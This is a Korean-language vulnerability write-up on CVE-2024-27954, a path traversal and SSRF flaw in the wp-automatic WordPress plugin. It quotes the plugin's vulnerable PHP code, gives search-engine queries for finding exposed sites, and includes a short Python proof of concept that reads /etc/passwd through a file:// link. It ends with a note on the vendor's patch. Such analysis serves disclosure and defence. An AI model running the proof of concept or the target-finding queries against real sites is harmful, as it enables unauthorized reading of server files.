Post

[CVE-2024-27954] 취약점 분석 보고서

wordpress plugin wp-automatic 3.92.1 버전 미만에서 발생하는 Path Traversal & SSRF 취약점

개요

CVE-2024-27954는 WP-automatic 플러그인  3.92.1 버전 미만에서 발생하는 Path traveral 와 SSRF 취약점이다. 이를 통해 공격자는 임의 위치에 접근할 수 있으며 민감한 파일에 액세스할 수 있다.

Search Engine Queries

FOFA = body=”wp-content/plugins/wp-automatic” && header=”HTTP/1.1 200 OK”

ZoomEye = title:”wp-automatic” response.status_code:200

Shodan = http.title:”wp-automatic” http.status:200

Publicwww = “/wp-content/plugins/wp-automatic”


취약점

\wp-content\plugins\wp-automatic\wp-automatic.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**

* custom request for cron job

*/

function wp_automatic_parse_request($wp) {

//secret word

$wp_automatic_secret = wp_automatic_trim(get_option('wp_automatic_cron_secret'));

if(wp_automatic_trim($wp_automatic_secret) == '') $wp_automatic_secret = 'cron';

// only process requests with "my-plugin=ajax-handler"

if (array_key_exists('wp_automatic', $wp->query_vars)) {

	if($wp->query_vars['wp_automatic'] == $wp_automatic_secret){

		require_once(dirname(__FILE__) . '/cron.php');

		exit;

	}elseif ($wp->query_vars['wp_automatic'] == 'download'){

		require_once 'downloader.php';

		exit;

	}elseif ($wp->query_vars['wp_automatic'] == 'test'){

		require_once 'test.php';

		exit;

	}elseif($wp->query_vars['wp_automatic'] == 'show_ip'){

		$ch = curl_init();

		curl_setopt($ch, CURLOPT_HEADER,0);

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);

		curl_setopt($ch, CURLOPT_TIMEOUT,20);

		curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/');

		curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');

		curl_setopt($ch, CURLOPT_MAXREDIRS, 5); // Good leeway for redirections.

		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Many login forms redirect at least once.

wp-automatic 매개변수로 “download”로 설정하면 download.php에 액세스할 수 있다.

\wp-content\plugins\wp-automatic\downloader.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$link=$_GET['link'];//urldecode();

$link=wp_automatic_str_replace('httpz','http',$link);

//$link='http://ointmentdirectory.info/%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%81%E0%B8%AA%E0%B8%94%E0%B8%87%E0%B8%A0%E0%B8%B2%E0%B8%9E%E0%B8%99%E0%B8%B4%E0%B9%88%E0%B8%87-%E0%B8%97%E0%B8%AD%E0%B8%94%E0%B8%9B%E0%B8%A5%E0%B8%B2%E0%B9%80%E0%B8%9E';

//  echo $link ;

//exit ;

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, wp_automatic_trim($link));

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);

curl_setopt($ch,CURLOPT_TIMEOUT, 30);

curl_setopt($ch, CURLOPT_REFERER, 'http://bing.com');

curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');

curl_setopt($ch,CURLOPT_MAXREDIRS, 5); // Good leeway for redirections.

curl_setopt($ch,CURLOPT_FOLLOWLOCATION, 0); // Many login forms redirect at least once.

$exec=curl_exec_follow($ch);

$_GET[‘link’] 파라미터에 임의의 URL을 요청하면 서버에서 URL 요청을 수행한다. URL을 요청할 때 입력 검증을 하지 않기 때문에 임의 파일에 액세스할 수 있다.

image.png

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://localhost:8080/"

params = {

"p": "3232",

"wp_automatic": "download",

"link": "file:///etc/passwd"

}

res = requests.get(url, params=params)

if res.status_code == 200:

print(res.text)

else:

print(res.status_code)

image.png

패치

공급업체는 nonce 검사를 적용하기로 결정했고, $link 변수에 대한 검증을 하기로 했습니다.

This post is licensed under CC BY 4.0 by the author.